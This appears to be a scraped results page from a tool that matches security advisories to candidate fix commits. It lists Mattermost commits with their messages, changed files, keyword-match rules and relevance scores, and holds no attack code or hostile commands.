    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 7b27b28d6fc2196abc034c1831d42b3aa78da166 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: file
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27656
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Translations update from Mattermost Weblate (#27656) * Translated using Weblate (German) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/de/ * Translated using Weblate (Japanese) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ja/ * Translated using Weblate (Chinese (Simplified)) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/zh_Hans/ * Translated using Weblate (Chinese (Simplified)) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/zh_Hans/ * Translated using Weblate (Polish) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/pl/ * Translated using Weblate (Polish) Currently translated at 99.5% (5775 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Dutch) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/nl/ * Translated using Weblate (Russian) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ru/ * Translated using Weblate (Russian) Currently translated at 98.5% (5715 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/ru/ * Translated using Weblate (Dutch) Currently translated at 99.9% (5797 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/nl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (Polish) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/pl/ * Translated using Weblate (English (Australia)) Currently translated at 100.0% (2520 of 2520 strings) Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/en_AU/ * Translated using Weblate (English (Australia)) Currently translated at 100.0% (5801 of 5801 strings) Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/en_AU/ * Update translation files Updated by "Cleanup translation files" hook in Weblate. Translation: Mattermost/server Translate-URL: https://translate.mattermost.com/projects/mattermost/server/ * Update translation files Updated by "Cleanup translation files" hook in Weblate. Translation: Mattermost/webapp Translate-URL: https://translate.mattermost.com/projects/mattermost/webapp/ --------- Co-authored-by: jprusch <rs@schaeferbarthold.de> Co-authored-by: kaakaa <stooner.hoe@gmail.com> Co-authored-by: Sharuru <mave@foxmail.com> Co-authored-by: master7 <marcin.karkosz@rajska.info> Co-authored-by: Tom De Moor <tom@controlaltdieliet.be> Co-authored-by: Konstantin <eleferen@gmail.com> Co-authored-by: Matthew Williams <Matthew.Williams@outlook.com.au>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/i18n/be.json - - server/i18n/bg.json - - server/i18n/ca.json - - server/i18n/cs.json - - server/i18n/de.json - - server/i18n/en-AU.json - - server/i18n/es.json - - server/i18n/fa.json - - server/i18n/fi.json - - server/i18n/fr.json - - server/i18n/hi.json - - server/i18n/hu.json - - server/i18n/it.json - - server/i18n/ja.json - - server/i18n/ko.json - - server/i18n/nl.json - - server/i18n/pl.json - - server/i18n/pt-BR.json - - server/i18n/ro.json - - server/i18n/ru.json - - server/i18n/sv.json - - server/i18n/tr.json - - server/i18n/uk.json - - server/i18n/vi.json - - server/i18n/zh-CN.json - - server/i18n/zh-TW.json - - webapp/channels/src/i18n/be.json - - webapp/channels/src/i18n/bg.json - - webapp/channels/src/i18n/cs.json - - webapp/channels/src/i18n/de.json - - webapp/channels/src/i18n/en-AU.json - - webapp/channels/src/i18n/es.json - - webapp/channels/src/i18n/fa.json - - webapp/channels/src/i18n/fr.json - - webapp/channels/src/i18n/fy.json - - webapp/channels/src/i18n/hr.json - - webapp/channels/src/i18n/hu.json - - webapp/channels/src/i18n/it.json - - webapp/channels/src/i18n/ja.json - - webapp/channels/src/i18n/ko.json - - webapp/channels/src/i18n/lt.json - - webapp/channels/src/i18n/nl.json - - webapp/channels/src/i18n/pl.json - - webapp/channels/src/i18n/pt-BR.json - - webapp/channels/src/i18n/ro.json - - webapp/channels/src/i18n/ru.json - - webapp/channels/src/i18n/sv.json - - webapp/channels/src/i18n/tr.json - - webapp/channels/src/i18n/uk.json - - webapp/channels/src/i18n/vi.json - - webapp/channels/src/i18n/zh-CN.json - - webapp/channels/src/i18n/zh-TW.json - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Code enhancements to feature - Sysadmin manage user settings ... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8848ad8a3451bc869f025638698e62478977e60b -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test, limit
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27636, 27680
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Code enhancements to feature - Sysadmin manage user settings (#27636) (#27680) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/confirm_modal_redux/confirm_modal_redux.tsx - - webapp/channels/src/components/user_settings/advanced/index.ts - - webapp/channels/src/components/user_settings/advanced/join_leave_section/index.ts - - webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.test.tsx - - webapp/channels/src/components/user_settings/advanced/join_leave_section/join_leave_section.tsx - - webapp/channels/src/components/user_settings/advanced/performance_debugging_section/index.ts - - webapp/channels/src/components/user_settings/advanced/performance_debugging_section/performance_debugging_section.tsx - - webapp/channels/src/components/user_settings/advanced/user_settings_advanced.test.tsx - - webapp/channels/src/components/user_settings/advanced/user_settings_advanced.tsx - - webapp/channels/src/components/user_settings/display/index.ts - - webapp/channels/src/components/user_settings/display/user_settings_display.tsx - - webapp/channels/src/components/user_settings/index.tsx - - webapp/channels/src/components/user_settings/modal/index.ts - - webapp/channels/src/components/user_settings/modal/user_settings_modal.tsx - - webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/index.ts - - webapp/channels/src/components/user_settings/sidebar/limit_visible_gms_dms/limit_visible_gms_dms.tsx - - webapp/channels/src/components/user_settings/sidebar/show_unreads_category/index.ts - - webapp/channels/src/components/user_settings/sidebar/show_unreads_category/show_unreads_category.tsx - - webapp/channels/src/components/user_settings/sidebar/user_settings_sidebar.tsx - - webapp/channels/src/components/widgets/smart_loader/index.tsx - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/channel_categories.ts - - webapp/channels/src/packages/mattermost-redux/src/selectors/entities/preferences.ts - - webapp/channels/src/selectors/views/channel_sidebar.ts - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-59083] Handle permissions in user management options (#27668)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 38e31084eb878648bfdcf49cc7bbaa0d594d6103 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: console, system
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27668, 27679
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-59083] Handle permissions in user management options (#27668) (#27679) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/admin_console/system_user_detail/system_user_detail.tsx - - webapp/channels/src/components/admin_console/system_users/system_users_list_actions/confirm_manage_user_settings_modal.tsx - - webapp/channels/src/components/admin_console/system_users/system_users_list_actions/index.tsx - - webapp/channels/src/i18n/en.json - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-59099 Show invalid emoji text with its original case (#27603)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8cb0631c56825d84e512943a61c80f1811b90f1d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27603, 27673
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-59099 Show invalid emoji text with its original case (#27603) (#27673) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/post_emoji/post_emoji.test.tsx - - webapp/channels/src/components/post_emoji/post_emoji.tsx - - webapp/channels/src/utils/emoticons.tsx - - webapp/channels/src/utils/message_html_to_component.test.tsx - - webapp/channels/src/utils/message_html_to_component.tsx - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-59416 Don't request notification permissions when we already have... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - dc3710138a37117352987a53954c7a836b91e7c1 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27629, 27672
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-59416 Don't request notification permissions when we already have them (#27629) (#27672) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/utils/notifications.test.ts - - webapp/channels/src/utils/notifications.ts - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58750] Update prepackage calls to v0.29.0 for MM v9.11 (#27642)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3899de6c047022baa4e8484c748bedd080d76a52 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27642, 27643
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58750] Update prepackage calls to v0.29.0 for MM v9.11 (#27642) (#27643) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/Makefile - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - testing image scanning - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 3946012358e24673124533b31cd80ec118743fb2 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      testing image scanning
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/build/Dockerfile - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Test image scanning - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - aafca746bc09af78d454975ddaa5490dc7fd304e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Test image scanning
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/build/Dockerfile - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58245 Don't allow patching real email or username for remote... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: v9.5.8 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - cf6d80f9e74dc5925dc4e14b82d2583ec2df3b40 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: allow
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27613, 27622
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58245 Don't allow patching real email or username for remote users (#27613) (#27622) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/platform/services/sharedchannel/sync_recv.go - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - MM-58771 - Make manage_server permission, non updatable (#27481)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: v9.5.8 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 8bfce4207a89457012f85ca99782766a35331a89 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: role, test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27481, 27546
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      MM-58771 - Make manage_server permission, non updatable (#27481) (#27546) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/role.go - - server/channels/api4/role_test.go - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - tests, lint and docs - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 09a66c66ad17991327de851a3452a94b49f7d56e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, test
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      tests, lint and docs
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/post.go - - server/channels/app/post_test.go - - server/channels/store/searchlayer/file_info_layer.go - - webapp/channels/src/packages/mattermost-redux/src/reducers/entities/posts.test.ts - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - require Permission to user to mark channels as read (#27468)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: v9.5.8 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 9ceadc56560e02fc546352c66f5e2cc351aecf58 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27468, 27524
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      require Permission to user to mark channels as read (#27468) (#27524) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/channel.go - - server/channels/api4/channel_test.go - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-58840] Add routing restrictions (#27482) (#27519) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: v9.8.3 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - bcac4391c2cba0e63bcdcd73533d9cb2969199a4 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: configuration, console, test, system
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27482, 27519
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-58840] Add routing restrictions (#27482) (#27519) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - e2e-tests/cypress/tests/integration/channels/enterprise/system_console/group_configuration_spec.js - - e2e-tests/cypress/tests/integration/channels/enterprise/system_console/team_members_spec.js - - e2e-tests/cypress/tests/integration/channels/system_console/user_management_spec.js - - webapp/channels/src/components/admin_console/admin_definition.tsx - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - require regenerate invite id to have invite permission (#27427)... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: v9.5.8 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - COMMIT_HAS_TWINS - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - e6a5d03b5a67b26380946a83080d47aca5110703 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      This commit has one or more twins.
      -
    • - -
    • -
      The commit message references some github issue: 27427, 27522
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      require regenerate invite id to have invite permission (#27427) (#27522) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/team.go - - server/channels/api4/team_test.go - -
    • -
    - - -
    Commit twins
    - - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Revert role.js to its release-9.5 version - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - d525f54e7d10dfde23b2b6ae564c92bad5c7b53d -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: role, version
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: role, test
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Revert role.js to its release-9.5 version
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - e2e-tests/cypress/tests/support/api/role.js - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - unit tests and some adjustments - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 8 -
    - -
    -
    -
    - - Tag: -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - ADV_KEYWORDS_IN_FILES - - -
    -
    -
    -
    - - - - -
    -
    -
    - 72b1205275e0e3cb69d8c9c3a33a06a617200788 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      An advisory keyword is contained in the changed files: file, test
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      unit tests and some adjustments
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/api4/post.go - - server/channels/api4/post_local.go - - server/channels/app/app_iface.go - - server/channels/app/file.go - - server/channels/app/file_test.go - - server/channels/app/opentracing/opentracing_layer.go - - server/channels/app/post.go - - server/channels/app/post_test.go - - server/channels/store/storetest/file_info_store.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Remove deprecated function (#27605) * make /ancillary a post *... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_MSG - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - db138fd23a6984ef94201cc2635ce0cdcf191f50 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      The commit message and the advisory description contain the following keywords: test
      -
    • - -
    • -
      The commit message references some github issue: 27605
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Remove deprecated function (#27605) * make /ancillary a post * remove get from client, fix tests * remove GET for retrieving ancillary permissions * Update permissions.yaml * Update permissions.yaml --------- Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - api/v4/source/permissions.yaml - - server/channels/api4/permission.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - fix wrong property set (#27625) (#27690) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 53b1d1fe6bb24c3fb9a6729c82d208c951a8b003 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: console
      -
    • - -
    • -
      The commit message references some github issue: 27625, 27690
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      fix wrong property set (#27625) (#27690) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - fix wrong property set (#27625) (#27687) Automatic Merge - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: v9.10.1 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - 4fb7c26a2cf6f54b5571d5cbaaae73cb4c7399cf -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: console
      -
    • - -
    • -
      The commit message references some github issue: 27625, 27687
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      fix wrong property set (#27625) (#27687) Automatic Merge
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - fix wrong property set (#27625) Co-authored-by: Mattermost Build... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - fb790a860bc5d3f3a23f89a5f0e05c94cac99c9c -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: console
      -
    • - -
    • -
      The commit message references some github issue: 27625
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      fix wrong property set (#27625) Co-authored-by: Mattermost Build <build@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - webapp/channels/src/components/admin_console/feature_discovery/features/saml.tsx - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Automated cherry pick of #27573 (#27651) Co-authored-by: Ben... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - d44951eed0d86d0b4bacfb449f6b840be430a96e -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test, system
      -
    • - -
    • -
      The commit message references some github issue: 27573, 27651
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Automated cherry pick of #27573 (#27651) Co-authored-by: Ben Schumacher <ben.schumacher@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/support_packet.go - - server/channels/app/support_packet_test.go - - server/public/model/packet_metadata.go - - server/public/pluginapi/system.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - Automated cherry pick of #27571 (#27647) Co-authored-by: Ben... - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: @mattermost/client@9.11.0 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - c87c5fa79d2427fa742842474d3d4576ba2b1fce -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27571, 27647
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      Automated cherry pick of #27571 (#27647) Co-authored-by: Ben Schumacher <ben.schumacher@mattermost.com>
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/support_packet.go - - server/channels/app/support_packet_test.go - - server/einterfaces/ldap.go - - server/einterfaces/mocks/LdapInterface.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-59292] Add metadata to Support Packet (#27573) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - ff3ed78124c7602cad783e46b422893e584f2883 -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test, system
      -
    • - -
    • -
      The commit message references some github issue: 27573
      -
    • - -
    - -
    Commit message
    - -
      -
    • -
      [MM-59292] Add metadata to Support Packet (#27573)
      -
    • -
    - -
    Changed files in commit
    - -
      -
    • - - server/channels/app/support_packet.go - - server/channels/app/support_packet_test.go - - server/public/model/packet_metadata.go - - server/public/pluginapi/system.go - -
    • -
    - - - -
    -
    -
    - -
    - -
    -
    -
    -
    -
    - [MM-59350] Include LDAP vendor errors in Support Packet (#27571) - -
    -
    -
    - -
    -
    - -
    -
    -
    -
    - -
    - - Relevance: 6 -
    - -
    -
    -
    - - Tag: server/public/v0.1.6 -
    -
    -
    -
    -
    - - - - ADV_KEYWORDS_IN_FILES - - GITHUB_ISSUE_IN_MESSAGE - - -
    -
    -
    -
    - - - - -
    -
    -
    - bbc8baac0a970413bf9ed7447f870cc21d3c602a -
    -
    - - - - Open commit - -
    -
    Matched rules
    - -
      - -
    • -
      An advisory keyword is contained in the changed files: test
      -
    • - -
    • -
      The commit message references some github issue: 27571
      -
    • - -
